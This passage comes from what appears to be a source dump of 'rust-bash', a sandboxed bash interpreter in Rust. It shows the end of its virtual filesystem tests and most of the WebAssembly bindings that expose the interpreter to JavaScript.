fs.stat(Path::new(\"/f.txt\")).unwrap();\n    assert_eq!(meta.mtime, SystemTime::UNIX_EPOCH);\n}\n\n#[test]\nfn file_size_in_metadata() {\n    let fs = fs();\n    fs.write_file(Path::new(\"/f.txt\"), b\"12345\").unwrap();\n    let meta = fs.stat(Path::new(\"/f.txt\")).unwrap();\n    assert_eq!(meta.size, 5);\n}\n\n// ==========================================================================\n// Copy, rename, hardlink\n// ==========================================================================\n\n#[test]\nfn copy_file() {\n    let fs = fs();\n    fs.write_file(Path::new(\"/src.txt\"), b\"copy me\").unwrap();\n    fs.chmod(Path::new(\"/src.txt\"), 0o700).unwrap();\n    fs.copy(Path::new(\"/src.txt\"), Path::new(\"/dst.txt\"))\n        .unwrap();\n    assert_eq!(fs.read_file(Path::new(\"/dst.txt\")).unwrap(), b\"copy me\");\n    let meta = fs.stat(Path::new(\"/dst.txt\")).unwrap();\n    assert_eq!(meta.mode, 0o700);\n}\n\n#[test]\nfn rename_file() {\n    let fs = fs();\n    fs.write_file(Path::new(\"/old.txt\"), b\"data\").unwrap();\n    fs.rename(Path::new(\"/old.txt\"), Path::new(\"/new.txt\"))\n        .unwrap();\n    assert!(!fs.exists(Path::new(\"/old.txt\")));\n    assert_eq!(fs.read_file(Path::new(\"/new.txt\")).unwrap(), b\"data\");\n}\n\n#[test]\nfn rename_directory() {\n    let fs = fs();\n    fs.mkdir(Path::new(\"/olddir\")).unwrap();\n    fs.write_file(Path::new(\"/olddir/file.txt\"), b\"inside\")\n        .unwrap();\n    fs.rename(Path::new(\"/olddir\"), Path::new(\"/newdir\"))\n        .unwrap();\n    assert!(!fs.exists(Path::new(\"/olddir\")));\n    assert_eq!(\n        fs.read_file(Path::new(\"/newdir/file.txt\")).unwrap(),\n        b\"inside\"\n    );\n}\n\n#[test]\nfn hardlink_creates_copy() {\n    let fs = fs();\n    fs.write_file(Path::new(\"/src.txt\"), b\"linked\").unwrap();\n    fs.hardlink(Path::new(\"/src.txt\"), Path::new(\"/dst.txt\"))\n        .unwrap();\n    assert_eq!(fs.read_file(Path::new(\"/dst.txt\")).unwrap(), b\"linked\");\n}\n\n// ==========================================================================\n// Canonicalize\n// ==========================================================================\n\n#[test]\nfn canonicalize_resolves_symlinks() {\n    let fs = fs();\n    fs.mkdir(Path::new(\"/real\")).unwrap();\n    fs.write_file(Path::new(\"/real/file.txt\"), b\"\").unwrap();\n    fs.symlink(Path::new(\"/real\"), Path::new(\"/link\")).unwrap();\n    let canon = fs.canonicalize(Path::new(\"/link/file.txt\")).unwrap();\n    assert_eq!(canon, Path::new(\"/real/file.txt\"));\n}\n\n#[test]\nfn canonicalize_root() {\n    let fs = fs();\n    let canon = fs.canonicalize(Path::new(\"/\")).unwrap();\n    assert_eq!(canon, Path::new(\"/\"));\n}\n\n#[test]\nfn canonicalize_dotdot() {\n    let fs = fs();\n    fs.mkdir_p(Path::new(\"/a/b\")).unwrap();\n    let canon = fs.canonicalize(Path::new(\"/a/b/..\")).unwrap();\n    assert_eq!(canon, Path::new(\"/a\"));\n}\n\n// ==========================================================================\n// Glob stub\n// ==========================================================================\n\n#[test]\nfn glob_basic_matching() {\n    let fs = fs();\n    fs.write_file(Path::new(\"/a.txt\"), b\"hello\").unwrap();\n    fs.write_file(Path::new(\"/b.txt\"), b\"world\").unwrap();\n    fs.write_file(Path::new(\"/c.md\"), b\"readme\").unwrap();\n    let result = fs.glob(\"*.txt\", Path::new(\"/\")).unwrap();\n    assert_eq!(result, vec![PathBuf::from(\"a.txt\"), PathBuf::from(\"b.txt\")]);\n}\n\n#[test]\nfn glob_no_match_returns_empty() {\n    let fs = fs();\n    let result = fs.glob(\"*.xyz\", Path::new(\"/\")).unwrap();\n    assert!(result.is_empty());\n}\n\n#[test]\nfn glob_absolute_pattern() {\n    let fs = fs();\n    fs.mkdir(Path::new(\"/dir\")).unwrap();\n    fs.write_file(Path::new(\"/dir/f1.log\"), b\"\").unwrap();\n    fs.write_file(Path::new(\"/dir/f2.log\"), b\"\").unwrap();\n    let result = fs.glob(\"/dir/*.log\", Path::new(\"/\")).unwrap();\n    assert_eq!(\n        result,\n        vec![PathBuf::from(\"/dir/f1.log\"), PathBuf::from(\"/dir/f2.log\")]\n    );\n}\n\n#[test]\nfn glob_question_mark_pattern() {\n    let fs = fs();\n    fs.write_file(Path::new(\"/a.txt\"), b\"\").unwrap();\n    fs.write_file(Path::new(\"/bb.txt\"), b\"\").unwrap();\n    let result = fs.glob(\"?.txt\", Path::new(\"/\")).unwrap();\n    assert_eq!(result, vec![PathBuf::from(\"a.txt\")]);\n}\n\n#[test]\nfn glob_bracket_pattern() {\n    let fs = fs();\n    fs.write_file(Path::new(\"/a.txt\"), b\"\").unwrap();\n    fs.write_file(Path::new(\"/b.txt\"), b\"\").unwrap();\n    fs.write_file(Path::new(\"/c.txt\"), b\"\").unwrap();\n    let result = fs.glob(\"[ab].txt\", Path::new(\"/\")).unwrap();\n    assert_eq!(result, vec![PathBuf::from(\"a.txt\"), PathBuf::from(\"b.txt\")]);\n}\n\n#[test]\nfn glob_recursive_doublestar() {\n    let fs = fs();\n    fs.mkdir_p(Path::new(\"/proj/src/sub\")).unwrap();\n    fs.write_file(Path::new(\"/proj/README.md\"), b\"\").unwrap();\n    fs.write_file(Path::new(\"/proj/src/lib.md\"), b\"\").unwrap();\n    fs.write_file(Path::new(\"/proj/src/sub/deep.md\"), b\"\")\n        .unwrap();\n    let result = fs.glob(\"/proj/**/*.md\", Path::new(\"/\")).unwrap();\n    assert_eq!(\n        result,\n        vec![\n            PathBuf::from(\"/proj/README.md\"),\n            PathBuf::from(\"/proj/src/lib.md\"),\n            PathBuf::from(\"/proj/src/sub/deep.md\"),\n        ]\n    );\n}\n\n#[test]\nfn glob_hidden_files_skipped() {\n    let fs = fs();\n    fs.write_file(Path::new(\"/.hidden\"), b\"\").unwrap();\n    fs.write_file(Path::new(\"/visible\"), b\"\").unwrap();\n    let result = fs.glob(\"*\", Path::new(\"/\")).unwrap();\n    assert_eq!(result, vec![PathBuf::from(\"visible\")]);\n}\n\n#[test]\nfn glob_hidden_files_explicit_dot() {\n    let fs = fs();\n    fs.write_file(Path::new(\"/.a\"), b\"\").unwrap();\n    fs.write_file(Path::new(\"/.b\"), b\"\").unwrap();\n    fs.write_file(Path::new(\"/c\"), b\"\").unwrap();\n    let result = fs.glob(\".*\", Path::new(\"/\")).unwrap();\n    assert_eq!(result, vec![PathBuf::from(\".a\"), PathBuf::from(\".b\")]);\n}\n\n#[test]\nfn glob_through_symlink_dir() {\n    let fs = fs();\n    fs.mkdir_p(Path::new(\"/real/sub\")).unwrap();\n    fs.write_file(Path::new(\"/real/sub/file.txt\"), b\"\").unwrap();\n    fs.symlink(Path::new(\"/real\"), Path::new(\"/link\")).unwrap();\n    let result = fs.glob(\"/link/*/*.txt\", Path::new(\"/\")).unwrap();\n    assert_eq!(result, vec![PathBuf::from(\"/link/sub/file.txt\")]);\n}\n\n#[test]\nfn glob_doublestar_skips_hidden() {\n    let fs = fs();\n    fs.mkdir_p(Path::new(\"/d/.hidden\")).unwrap();\n    fs.write_file(Path::new(\"/d/.hidden/secret.md\"), b\"\")\n        .unwrap();\n    fs.write_file(Path::new(\"/d/visible.md\"), b\"\").unwrap();\n    let result = fs.glob(\"/d/**/*.md\", Path::new(\"/\")).unwrap();\n    assert_eq!(result, vec![PathBuf::from(\"/d/visible.md\")]);\n}\n\n// ==========================================================================\n// Exists\n// ==========================================================================\n\n#[test]\nfn exists_root() {\n    let fs = fs();\n    assert!(fs.exists(Path::new(\"/\")));\n}\n\n#[test]\nfn exists_nonexistent() {\n    let fs = fs();\n    assert!(!fs.exists(Path::new(\"/nope\")));\n}\n\n#[test]\nfn exists_through_symlink() {\n    let fs = fs();\n    fs.write_file(Path::new(\"/real\"), b\"\").unwrap();\n    fs.symlink(Path::new(\"/real\"), Path::new(\"/link\")).unwrap();\n    assert!(fs.exists(Path::new(\"/link\")));\n}\n\n#[test]\nfn exists_dangling_symlink_false() {\n    let fs = fs();\n    fs.symlink(Path::new(\"/nonexistent\"), Path::new(\"/link\"))\n        .unwrap();\n    assert!(!fs.exists(Path::new(\"/link\")));\n}\n\n// ==========================================================================\n// Edge cases\n// ==========================================================================\n\n#[test]\nfn write_empty_file() {\n    let fs = fs();\n    fs.write_file(Path::new(\"/empty\"), b\"\").unwrap();\n    assert_eq!(fs.read_file(Path::new(\"/empty\")).unwrap(), b\"\");\n    assert_eq!(fs.stat(Path::new(\"/empty\")).unwrap().size, 0);\n}\n\n#[test]\nfn binary_file_content() {\n    let fs = fs();\n    let data: Vec<u8> = (0..=255).collect();\n    fs.write_file(Path::new(\"/binary\"), &data).unwrap();\n    assert_eq!(fs.read_file(Path::new(\"/binary\")).unwrap(), data);\n}\n\n#[test]\nfn remove_file_on_directory_errors() {\n    let fs = fs();\n    fs.mkdir(Path::new(\"/dir\")).unwrap();\n    let err = fs.remove_file(Path::new(\"/dir\")).unwrap_err();\n    assert!(matches!(err, VfsError::IsADirectory(_)));\n}\n\n#[test]\nfn rename_nonexistent_errors() {\n    let fs = fs();\n    let err = fs\n        .rename(Path::new(\"/nope\"), Path::new(\"/dst\"))\n        .unwrap_err();\n    assert!(matches!(err, VfsError::NotFound(_)));\n}\n\n#[test]\nfn hardlink_already_exists_errors() {\n    let fs = fs();\n    fs.write_file(Path::new(\"/src\"), b\"\").unwrap();\n    fs.write_file(Path::new(\"/dst\"), b\"\").unwrap();\n    let err = fs\n        .hardlink(Path::new(\"/src\"), Path::new(\"/dst\"))\n        .unwrap_err();\n    assert!(matches!(err, VfsError::AlreadyExists(_)));\n}\n\n#[test]\nfn readlink_on_non_symlink_errors() {\n    let fs = fs();\n    fs.write_file(Path::new(\"/file\"), b\"\").unwrap();\n    let err = fs.readlink(Path::new(\"/file\")).unwrap_err();\n    assert!(matches!(err, VfsError::InvalidPath(_)));\n}\n\n#[test]\nfn chmod_nonexistent_errors() {\n    let fs = fs();\n    let err = fs.chmod(Path::new(\"/nope\"), 0o644).unwrap_err();\n    assert!(matches!(err, VfsError::NotFound(_)));\n}\n\n#[test]\nfn remove_dir_all_on_file_errors() {\n    let fs = fs();\n    fs.write_file(Path::new(\"/file\"), b\"\").unwrap();\n    let err = fs.remove_dir_all(Path::new(\"/file\")).unwrap_err();\n    assert!(matches!(err, VfsError::NotADirectory(_)));\n}\n\n#[test]\nfn symlink_to_directory() {\n    let fs = fs();\n    fs.mkdir(Path::new(\"/realdir\")).unwrap();\n    fs.write_file(Path::new(\"/realdir/file.txt\"), b\"hello\")\n        .unwrap();\n    fs.symlink(Path::new(\"/realdir\"), Path::new(\"/linkdir\"))\n        .unwrap();\n    let content = fs.read_file(Path::new(\"/linkdir/file.txt\")).unwrap();\n    assert_eq!(content, b\"hello\");\n}\n\n#[test]\nfn write_through_symlink() {\n    let fs = fs();\n    fs.write_file(Path::new(\"/real.txt\"), b\"original\").unwrap();\n    fs.symlink(Path::new(\"/real.txt\"), Path::new(\"/link.txt\"))\n        .unwrap();\n    fs.write_file(Path::new(\"/link.txt\"), b\"updated\").unwrap();\n    assert_eq!(fs.read_file(Path::new(\"/real.txt\")).unwrap(), b\"updated\");\n}\n\n#[test]\nfn trait_deep_clone_produces_independent_copy() {\n    let fs = fs();\n    fs.write_file(Path::new(\"/a.txt\"), b\"original\").unwrap();\n\n    let cloned: std::sync::Arc<dyn VirtualFs> = VirtualFs::deep_clone(&fs);\n    cloned.write_file(Path::new(\"/a.txt\"), b\"modified\").unwrap();\n    cloned.write_file(Path::new(\"/new.txt\"), b\"new\").unwrap();\n\n    // Original is untouched\n    assert_eq!(fs.read_file(Path::new(\"/a.txt\")).unwrap(), b\"original\");\n    assert!(!fs.exists(Path::new(\"/new.txt\")));\n}\n","/home/user/src/wasm.rs":"//! WASM bindings for rust-bash via `wasm-bindgen`.\n//!\n//! Provides the `WasmBash` class that wraps `RustBash` for use from JavaScript.\n//! Feature-gated behind the `wasm` cargo feature.\n\nuse std::collections::HashMap;\nuse std::path::Path;\nuse std::sync::Arc;\n\nuse js_sys::{Array, Function, Object, Reflect};\nuse wasm_bindgen::prelude::*;\n\nuse crate::api::{RustBash, RustBashBuilder};\nuse crate::commands::{CommandContext, CommandResult, VirtualCommand};\nuse crate::error::RustBashError;\nuse crate::interpreter::ExecutionLimits;\nuse crate::vfs::{NodeType, VirtualFs};\n\n// ── WasmBash ─────────────────────────────────────────────────────────\n\n/// A sandboxed bash interpreter for use from JavaScript.\n#[wasm_bindgen]\npub struct WasmBash {\n    inner: RustBash,\n}\n\n#[wasm_bindgen]\nimpl WasmBash {\n    /// Create a new WasmBash instance.\n    ///\n    /// `config` is a JS object with optional fields:\n    /// - `files`: `Record<string, string>` — seed virtual filesystem\n    /// - `env`: `Record<string, string>` — environment variables\n    /// - `cwd`: `string` — working directory (default: \"/\")\n    /// - `executionLimits`: partial execution limits\n    #[wasm_bindgen(constructor)]\n    pub fn new(config: JsValue) -> Result<WasmBash, JsError> {\n        let mut builder = RustBashBuilder::new();\n\n        if !config.is_undefined() && !config.is_null() {\n            // Parse files\n            if let Ok(files_val) = Reflect::get(&config, &\"files\".into()) {\n                if !files_val.is_undefined() && !files_val.is_null() {\n                    let files = parse_string_record(&files_val)?;\n                    let file_map: HashMap<String, Vec<u8>> = files\n                        .into_iter()\n                        .map(|(k, v)| (k, v.into_bytes()))\n                        .collect();\n                    builder = builder.files(file_map);\n                }\n            }\n\n            // Parse env\n            if let Ok(env_val) = Reflect::get(&config, &\"env\".into()) {\n                if !env_val.is_undefined() && !env_val.is_null() {\n                    let env = parse_string_record(&env_val)?;\n                    builder = builder.env(env);\n                }\n            }\n\n            // Parse cwd\n            if let Ok(cwd_val) = Reflect::get(&config, &\"cwd\".into()) {\n                if let Some(cwd) = cwd_val.as_string() {\n                    builder = builder.cwd(cwd);\n                }\n            }\n\n            // Parse executionLimits\n            if let Ok(limits_val) = Reflect::get(&config, &\"executionLimits\".into()) {\n                if !limits_val.is_undefined() && !limits_val.is_null() {\n                    let limits = parse_execution_limits(&limits_val)?;\n                    builder = builder.execution_limits(limits);\n                }\n            }\n        }\n\n        let inner = builder.build().map_err(|e| JsError::new(&e.to_string()))?;\n        Ok(WasmBash { inner })\n    }\n\n    /// Execute a shell command string.\n    ///\n    /// Returns `{ stdout: string, stderr: string, exitCode: number }`.\n    pub fn exec(&mut self, command: &str) -> Result<JsValue, JsError> {\n        let result = self\n            .inner\n            .exec(command)\n            .map_err(|e| JsError::new(&e.to_string()))?;\n        exec_result_to_js(&result)\n    }\n\n    /// Execute a shell command with per-exec options.\n    ///\n    /// `options` is a JS object with optional fields:\n    /// - `env`: `Record<string, string>` — per-exec environment overrides\n    /// - `cwd`: `string` — per-exec working directory\n    /// - `stdin`: `string` — standard input content\n    pub fn exec_with_options(\n        &mut self,\n        command: &str,\n        options: JsValue,\n    ) -> Result<JsValue, JsError> {\n        let saved_cwd = self.inner.state.cwd.clone();\n        let mut overwritten_env: Vec<(String, Option<crate::interpreter::Variable>)> = Vec::new();\n\n        let result = (|| -> Result<JsValue, JsError> {\n            if !options.is_undefined() && !options.is_null() {\n                // Check if we should replace the entire environment\n                let replace_env = Reflect::get(&options, &\"replaceEnv\".into())\n                    .ok()\n                    .and_then(|v| v.as_bool())\n                    .unwrap_or(false);\n\n                // Apply per-exec env overrides\n                if let Ok(env_val) = Reflect::get(&options, &\"env\".into()) {\n                    if !env_val.is_undefined() && !env_val.is_null() {\n                        let env = parse_string_record(&env_val)?;\n\n                        if replace_env {\n                            // Save all existing env vars and clear them\n                            for (key, var) in self.inner.state.env.drain() {\n                                overwritten_env.push((key, Some(var)));\n                            }\n                        }\n\n                        for (key, value) in env {\n                            if !replace_env {\n                                let old = self.inner.state.env.get(&key).cloned();\n                                overwritten_env.push((key.clone(), old));\n                            }\n                            self.inner.state.env.insert(\n                                key,\n                                crate::interpreter::Variable {\n                                    value: crate::interpreter::VariableValue::Scalar(value),\n                                    attrs: crate::interpreter::VariableAttrs::EXPORTED,\n                                },\n                            );\n                        }\n                    }\n                }\n\n                // Apply per-exec cwd\n                if let Ok(cwd_val) = Reflect::get(&options, &\"cwd\".into()) {\n                    if let Some(cwd) = cwd_val.as_string() {\n                        self.inner.state.cwd = cwd;\n                    }\n                }\n\n                // Handle stdin by wrapping command with heredoc\n                if let Ok(stdin_val) = Reflect::get(&options, &\"stdin\".into()) {\n                    if let Some(stdin) = stdin_val.as_string() {\n                        let delimiter = if stdin.contains(\"__WASM_STDIN__\") {\n                            \"__WASM_STDIN_BOUNDARY__\"\n                        } else {\n                            \"__WASM_STDIN__\"\n                        };\n                        let full_command =\n                            format!(\"{command} <<'{delimiter}'\\n{stdin}\\n{delimiter}\");\n                        let result = self\n                            .inner\n                            .exec(&full_command)\n                            .map_err(|e| JsError::new(&e.to_string()))?;\n                        return exec_result_to_js(&result);\n                    }\n                }\n            }\n\n            self.exec(command)\n        })();\n\n        // Restore state\n        self.inner.state.cwd = saved_cwd;\n        for (key, old_val) in overwritten_env {\n            match old_val {\n                Some(var) => {\n                    self.inner.state.env.insert(key, var);\n                }\n                None => {\n                    self.inner.state.env.remove(&key);\n                }\n            }\n        }\n\n        result\n    }\n\n    /// Write a file to the virtual filesystem.\n    pub fn write_file(&mut self, path: &str, content: &str) -> Result<(), JsError> {\n        let p = Path::new(path);\n        if let Some(parent) = p.parent() {\n            if parent != Path::new(\"/\") {\n                self.inner\n                    .state\n                    .fs\n                    .mkdir_p(parent)\n                    .map_err(|e| JsError::new(&e.to_string()))?;\n            }\n        }\n        self.inner\n            .state\n            .fs\n            .write_file(p, content.as_bytes())\n            .map_err(|e| JsError::new(&e.to_string()))\n    }\n\n    /// Read a file from the virtual filesystem.\n    pub fn read_file(&self, path: &str) -> Result<String, JsError> {\n        let data = self\n            .inner\n            .state\n            .fs\n            .read_file(Path::new(path))\n            .map_err(|e| JsError::new(&e.to_string()))?;\n        String::from_utf8(data).map_err(|e| JsError::new(&e.to_string()))\n    }\n\n    /// Create a directory in the virtual filesystem.\n    pub fn mkdir(&mut self, path: &str, recursive: bool) -> Result<(), JsError> {\n        let p = Path::new(path);\n        if recursive {\n            self.inner\n                .state\n                .fs\n                .mkdir_p(p)\n                .map_err(|e| JsError::new(&e.to_string()))\n        } else {\n            self.inner\n                .state\n                .fs\n                .mkdir(p)\n                .map_err(|e| JsError::new(&e.to_string()))\n        }\n    }\n\n    /// Get the current working directory.\n    pub fn cwd(&self) -> String {\n        self.inner.cwd().to_string()\n    }\n\n    /// Get the exit code of the last executed command.\n    pub fn last_exit_code(&self) -> i32 {\n        self.inner.last_exit_code()\n    }\n\n    /// Get the names of all registered commands.\n    pub fn command_names(&self) -> Vec<String> {\n        self.inner\n            .command_names()\n            .into_iter()\n            .map(|s| s.to_string())\n            .collect()\n    }\n\n    /// Register a custom command backed by a JavaScript callback.\n    ///\n    /// The callback receives `(args: string[], ctx: object)` and must return\n    /// `{ stdout: string, stderr: string, exitCode: number }` synchronously.\n    ///\n    /// The `ctx` object provides:\n    /// - `cwd: string` — current working directory\n    /// - `stdin: string` — piped input from the previous pipeline stage\n    /// - `env: Record<string, string>` — environment variables\n    /// - `fs` — virtual filesystem proxy (readFileSync, writeFileSync, …)\n    /// - `exec(command: string) → { stdout, stderr, exitCode }` — execute a\n    ///   sub-command through the shell interpreter.  **Must only be called\n    ///   synchronously** within the callback; do **not** store or defer it.\n    pub fn register_command(&mut self, name: &str, callback: Function) -> Result<(), JsError> {\n        let fs_proxy = build_fs_proxy(&self.inner.state.fs);\n        let cmd = JsBridgeCommand {\n            name: name.to_string(),\n            callback,\n            fs_proxy,\n        };\n        self.inner\n            .state\n            .commands\n            .insert(name.to_string(), Arc::new(cmd));\n        Ok(())\n    }\n\n    /// Check whether a path exists in the virtual filesystem.\n    pub fn exists(&self, path: &str) -> bool {\n        self.inner.exists(path)\n    }\n\n    /// List directory entries.\n    ///\n    /// Returns a JS array of `{ name: string, isDirectory: boolean }` objects.\n    pub fn readdir(&self, path: &str) -> Result<JsValue, JsError> {\n        let entries = self\n            .inner\n            .readdir(path)\n            .map_err(|e| JsError::new(&e.to_string()))?;\n        let arr = Array::new();\n        for entry in entries {\n            let obj = Object::new();\n            let _ = Reflect::set(&obj, &\"name\".into(), &JsValue::from_str(&entry.name));\n            let _ = Reflect::set(\n                &obj,\n                &\"isDirectory\".into(),\n                &JsValue::from_bool(entry.node_type == NodeType::Directory),\n            );\n            arr.push(&obj.into());\n        }\n        Ok(arr.into())\n    }\n\n    /// Get metadata for a path.\n    ///\n    /// Returns `{ size: number, isDirectory: boolean, isFile: boolean, isSymlink: boolean }`.\n    pub fn stat(&self, path: &str) -> Result<JsValue, JsError> {\n        let meta = self\n            .inner\n            .stat(path)\n            .map_err(|e| JsError::new(&e.to_string()))?;\n        let obj = Object::new();\n        let _ = Reflect::set(&obj, &\"size\".into(), &JsValue::from_f64(meta.size as f64));\n        let _ = Reflect::set(\n            &obj,\n            &\"isDirectory\".into(),\n            &JsValue::from_bool(meta.node_type == NodeType::Directory),\n        );\n        let _ = Reflect::set(\n            &obj,\n            &\"isFile\".into(),\n            &JsValue::from_bool(meta.node_type == NodeType::File),\n        );\n        let _ = Reflect::set(\n            &obj,\n            &\"isSymlink\".into(),\n            &JsValue::from_bool(meta.node_type == NodeType::Symlink),\n        );\n        Ok(obj.into())\n    }\n\n    /// Remove a file from the virtual filesystem.\n    pub fn remove_file(&mut self, path: &str) -> Result<(), JsError> {\n        self.inner\n            .remove_file(path)\n            .map_err(|e| JsError::new(&e.to_string()))\n    }\n\n    /// Recursively remove a directory and its contents.\n    pub fn remove_dir_all(&mut self, path: &str) -> Result<(), JsError> {\n        self.inner\n            .remove_dir_all(path)\n            .map_err(|e| JsError::new(&e.to_string()))\n    }\n}\n\n// ── JsBridgeCommand ──────────────────────────────────────────────────\n\n/// A command that delegates execution to a JavaScript callback function.\nstruct JsBridgeCommand {\n    name: String,\n    callback: Function,\n    fs_proxy: JsValue,\n}\n\n// SAFETY: wasm32-unknown-unknown has no threads; Send + Sync are trivially safe.\n// This does NOT hold for targets with thread support (e.g. wasm32-wasi-threads).\nunsafe impl Send for JsBridgeCommand {}\nunsafe impl Sync for JsBridgeCommand {}\n\nimpl VirtualCommand for JsBridgeCommand {\n    fn name(&self) -> &str {\n        &self.name\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        // Build args array\n        let js_args = Array::new();\n        for arg in args {\n            js_args.push(&JsValue::from_str(arg));\n        }\n\n        // Build context object (reuses the pre-built fs proxy).\n        // `_exec_closure` must stay alive until after `call2` returns so the\n        // JS `exec` function pointer remains valid.\n        let (js_ctx, _exec_closure) = build_js_command_context(ctx, &self.fs_proxy);\n\n        // Call the JS callback: callback(args, ctx)\n        let js_args_val: JsValue = js_args.into();\n        let result = self.callback.call2(&JsValue::NULL, &js_args_val, &js_ctx);\n\n        match result {\n            Ok(val) => parse_command_result(&val),\n            Err(e) => {\n                let msg = e.as_string().unwrap_or_else(|| format!(\"{e:?}\"));\n                CommandResult {\n                    stderr: format!(\"{}: {}\\n\", self.name, msg),\n                    exit_code: 1,\n                    ..Default::default()\n                }\n            }\n        }\n    }\n}\n\n// ── Helper functions ─────────────────────────────────────────────────\n\nfn parse_string_record(val: &JsValue) -> Result<HashMap<String, String>, JsError> {\n    if !val.is_object() {\n        return Err(JsError::new(\"expected a plain object\"));\n    }\n    let mut map = HashMap::new();\n    let keys = Object::keys(&val.clone().into());\n    for i in 0..keys.length() {\n        let key = keys.get(i);\n        if let Some(key_str) = key.as_string() {\n            if let Ok(value) = Reflect::get(val, &key) {\n                if let Some(value_str) = value.as_string() {\n                    map.insert(key_str, value_str);\n                }\n            }\n        }\n    }\n    Ok(map)\n}\n\nfn parse_execution_limits(val: &JsValue) -> Result<ExecutionLimits, JsError> {\n    let mut limits = ExecutionLimits::default();\n\n    if let Ok(v) = Reflect::get(val, &\"maxCommandCount\".into()) {\n        if let Some(n) = v.as_f64() {\n            limits.max_command_count = n as usize;\n        }\n    }\n    if let Ok(v) = Reflect::get(val, &\"maxExecutionTimeSecs\".into()) {\n        if let Some(n) = v.as_f64() {\n            limits.max_execution_time = std::time::Duration::from_secs_f64(n);\n        }\n    }\n    if let Ok(v) = Reflect::get(val, &\"maxLoopIterations\".into()) {\n        if let Some(n) = v.as_f64() {\n            limits.max_loop_iterations = n as usize;\n        }\n    }\n    if let Ok(v) = Reflect::get(val, &\"maxOutputSize\".into()) {\n        if let Some(n) = v.as_f64() {\n            limits.max_output_size = n as usize;\n        }\n    }\n    if let Ok(v) = Reflect::get(val, &\"maxCallDepth\".into()) {\n        if let Some(n) = v.as_f64() {\n            limits.max_call_depth = n as usize;\n        }\n    }\n    if let Ok(v) = Reflect::get(val, &\"maxStringLength\".into()) {\n        if let Some(n) = v.as_f64() {\n            limits.max_string_length = n as usize;\n        }\n    }\n    if let Ok(v) = Reflect::get(val, &\"maxGlobResults\".into()) {\n        if let Some(n) = v.as_f64() {\n            limits.max_glob_results = n as usize;\n        }\n    }\n    if let Ok(v) = Reflect::get(val, &\"maxSubstitutionDepth\".into()) {\n        if let Some(n) = v.as_f64() {\n            limits.max_substitution_depth = n as usize;\n        }\n    }\n    if let Ok(v) = Reflect::get(val, &\"maxHeredocSize\".into()) {\n        if let Some(n) = v.as_f64() {\n            limits.max_heredoc_size = n as usize;\n        }\n    }\n    if let Ok(v) = Reflect::get(val, &\"maxBraceExpansion\".into()) {\n        if let Some(n) = v.as_f64() {\n            limits.max_brace_expansion = n as usize;\n        }\n    }\n\n    Ok(limits)\n}\n\nfn exec_result_to_js(result: &crate::interpreter::ExecResult) -> Result<JsValue, JsError> {\n    let obj = Object::new();\n    Reflect::set(&obj, &\"stdout\".into(), &JsValue::from_str(&result.stdout))\n        .map_err(|e| JsError::new(&format!(\"{e:?}\")))?;\n    Reflect::set(&obj, &\"stderr\".into(), &JsValue::from_str(&result.stderr))\n        .map_err(|e| JsError::new(&format!(\"{e:?}\")))?;\n    Reflect::set(\n        &obj,\n        &\"exitCode\".into(),\n        &JsValue::from_f64(f64::from(result.exit_code)),\n    )\n    .map_err(|e| JsError::new(&format!(\"{e:?}\")))?;\n    Ok(obj.into())\n}\n\n/// Convert a `CommandResult` into a JS object `{ stdout, stderr, exitCode }`.\nfn command_result_to_js(result: &CommandResult) -> JsValue {\n    let obj = Object::new();\n    let _ = Reflect::set(&obj, &\"stdout\".into(), &JsValue::from_str(&result.stdout));\n    let _ = Reflect::set(&obj, &\"stderr\".into(), &JsValue::from_str(&result.stderr));\n    let _ = Reflect::set(\n        &obj,\n        &\"exitCode\".into(),\n        &JsValue::from_f64(f64::from(result.exit_code)),\n    );\n    obj.into()\n}\n\n/// Read two pointer-sized values from a stack address.\n/// Used to decompose a fat reference (&dyn Fn) into data + vtable pointers\n/// while erasing the source lifetime.\n///\n/// # Safety\n/// `src` must point to a valid fat reference (2 × usize bytes).\nunsafe fn read_fat_ref_as_raw(src: *const u8) -> [usize; 2] {\n    unsafe { std::ptr::read(src as *const [usize; 2]) }\n}\n\nfn build_js_command_context(\n    ctx: &CommandContext,\n    fs_proxy: &JsValue,\n) -> (JsValue, Option<Closure<dyn FnMut(String) -> JsValue>>) {\n    let obj = Object::new();\n\n    // cwd\n    let _ = Reflect::set(&obj, &\"cwd\".into(), &JsValue::from_str(ctx.cwd));\n\n    // stdin\n    let _ = Reflect::set(&obj, &\"stdin\".into(), &JsValue::from_str(ctx.stdin));\n\n    // env as Record<string, string>\n    let env_obj = Object::new();\n    for (key, value) in ctx.env {\n        let _ = Reflect::set(&env_obj, &JsValue::from_str(key), &JsValue::from_str(value));\n    }\n    let _ = Reflect::set(&obj, &\"env\".into(), &env_obj.into());\n\n    // Pre-built fs proxy\n    let _ = Reflect::set(&obj, &\"fs\".into(), fs_proxy);\n\n    // exec(command: string) -> { stdout, stderr, exitCode }\n    let exec_closure = ctx.exec.map(|exec_cb| {\n        // SAFETY: wasm32-unknown-unknown is single-threaded and the JS callback\n        // that receives this closure is invoked synchronously within\n        // `JsBridgeCommand::execute`. The `exec_cb` reference points to the\n        // `exec_callback` local created by `dispatch_command` in walker.rs,\n        // which outlives the entire `execute` call. The returned `Closure` is\n        // kept alive by the caller (`_exec_closure`) until after `call2`\n        // returns, so the raw pointer is never dangling when dereferenced.\n        //\n        // INVARIANT: If JS stores `ctx.exec` and calls it after the\n        // synchronous callback returns, this would be UB. The\n        // `register_command` doc specifies that `ctx.exec` must only be\n        // called synchronously within the callback.\n        //\n        // We decompose the fat reference into two usize values (data + vtable)\n        // so the closure captures only 'static data. This is required because\n        // wasm_bindgen::Closure demands 'static.\n        type ExecFn = dyn Fn(&str) -> Result<CommandResult, RustBashError>;\n        // Read the fat reference's raw bytes (data ptr + vtable ptr) through a\n        // helper that takes *const u8, breaking the borrow chain so the\n        // resulting [usize; 2] is 'static. Required because Closure demands 'static.\n        // addr_of! creates a raw pointer without going through the borrow checker.\n        let raw_parts: [usize; 2] =\n            unsafe { read_fat_ref_as_raw(std::ptr::addr_of!(exec_cb) as *const u8) };\n\n        let closure = Closure::wrap(Box::new(move |cmd: String| -> JsValue {\n            let exec_fn: &ExecFn = unsafe { std::mem::transmute::<[usize; 2], &ExecFn>(raw_parts) };\n            match exec_fn(&cmd) {\n                Ok(result) => command_result_to_js(&result),\n                Err(e) => command_result_to_js(&CommandResult {\n                    stderr: e.to_string(),\n                    exit_code: 1,\n                    ..Default::default()\n                }),\n            }\n        }) as Box<dyn FnMut(String) -> JsValue>);\n        let _ = Reflect::set(&obj, &\"exec\".into(), closure.as_ref());\n        closure\n    });\n\n    (obj.into(), 